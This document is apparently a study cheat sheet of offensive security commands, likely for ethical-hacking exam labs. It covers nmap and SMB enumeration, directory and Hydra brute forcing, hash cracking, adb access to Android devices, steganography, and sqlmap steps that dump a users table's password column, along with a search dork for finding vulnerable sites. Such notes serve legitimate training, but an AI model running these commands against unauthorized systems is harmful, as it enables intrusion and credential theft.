How many machines are active in a network - net discover -i 192.168.1.
0/24
Connect to RDP via cmd - mstsc
Find DNS records - [Link]
Scan the whole website- (skipfish -o /root/test -S
/usr/share/skipfish/dictionaries/[Link] [Link]
-o output
-S wordlist
To brute force directories or files-
robuster dir -u [Link] -w /usr/share/dirb/wordlists/[Link] -x .txt
OR
uniscan -u [Link] -q (for directories)
uniscan –u [Link] -we (enable file check like [Link] and
[Link])
To get the file from the server- get [Link]
FTP Login - ftp <ip>
get <file name> (to get file from FTP login)
SSH Login - SSH username@[Link]
Nmap scan
Nmap -A [Link] (aggressive scan- Traceroute, T4, OS)
nmap -sC (service scan)
nmap -sV (version scan)
nmap -sP [Link]/24 (how many hosts are up in the whole network)/ping scan
nmap -sL (hostnames)
nmap -oN <filename> (to save output in a file)
nmap -F (fast scan)
nmap -O (os scan)
Crack the hashes-
hashid -m <hash> (to identify the type of hash, its mode etc)
hashcat -m <mode> -a 0 <hashhhhhhhh> /usr/share/wordlist/[Link]
crackstation
[Link]
Cyberchef
Enumeration-
Global network inventory
Netbios enumerator
Hyena
Superscan
Advanced ip scanner
nmap smb scripts-
nmap --script [Link] -p445 <ip> (enumerate os, domain name,etc)
nmap --script [Link] -p445 <ip> (used to enumerate all users on remote
Windows system using SAMR enumeration and LSA bruteforcing)
nmap -p 445 --script=[Link], [Link] [Link] (smb users
and shares)
smbclient //[Link]/anonymous (accessing smb shares)
smbget -R smb://[Link]/anonymous (downloading smb files)
enum4linux
enum4linux -u martin -p apple -U [Link] | - u user -p pass -U get user list
enum4linux -u martin -p apple -o [Link] | -o get OS info
enum4linux -u martin -p apple -P [Link] | -P get password policy info
enum4linux -u martin -p apple -G [Link] | -G get groups and members info
enum4linux -u martin -p apple -S [Link] | -S get share list info
enum4linux -u martin -p apple -a [Link] | -a get all simple enumeration data
[-U -S -G -P -r -o -n -i]
Wpscan
wpscan --url [Link] Address]:8080/CEH --enumerate u (enumerate the usernames
stored in the website’s database)
Vulnerability analysis
nikto -h [Link] -Tuning 1
Bruteforce-
Hydra -L username -P /usr/share/wordlists/[Link] [Link]
Cryptography-
Hashcalc
Md5 calculator
Cryptool – decode .hex file
Bctextencoder – decrypt text using secret key
Veracrypt – anything related to volume
Crack hashes- [Link], cyberchef
Steganography-
Steghide embed -ef <filename> -cf <image> -p <passphrase>
Steghide extract -sf <image> (extract hidden data from image)
Stegcracker <image> /usr/share/wordlists/[Link] (crack the
passphrase of image)
[Link] (online steganography tool)
sha256sum <filename> (find hash of the file)
Android Hacking-
via USB
./adb tcpip 5555
./adb connect [Link]:5555
./adb devices
./adb -d shell (Direct an adb command to the only attached USB device)
ls
cd sdcard
ls
cd dcim
cd camera
ls
./adb push C:\platform-tools\[Link] /sdcard/Download
(from pc to android)
< pc location > <android location>
./adb pull /sdcard/Download/magisk_patched.img C:\platform-tools
(from android to pc)
< android location > <pc location>
sqlmap-
site:[Link] php?= (for finding vulnerable site)
(for cookies- console->[Link])
sqlmap -u [Link] --dbs (databases)
sqlmap -u [Link] -D acuart –tables
(tables)
sqlmap -u [Link] -D acuart -T users --
columns (columns)
(dump whole table)
sqlmap -u [Link] -D acuart -T users --
dump
OR
(dump individual column data)
sqlmap -u [Link] -D acuart -T users -C
uname --dump
sqlmap -u [Link] -D acuart -T users -C
pass --dump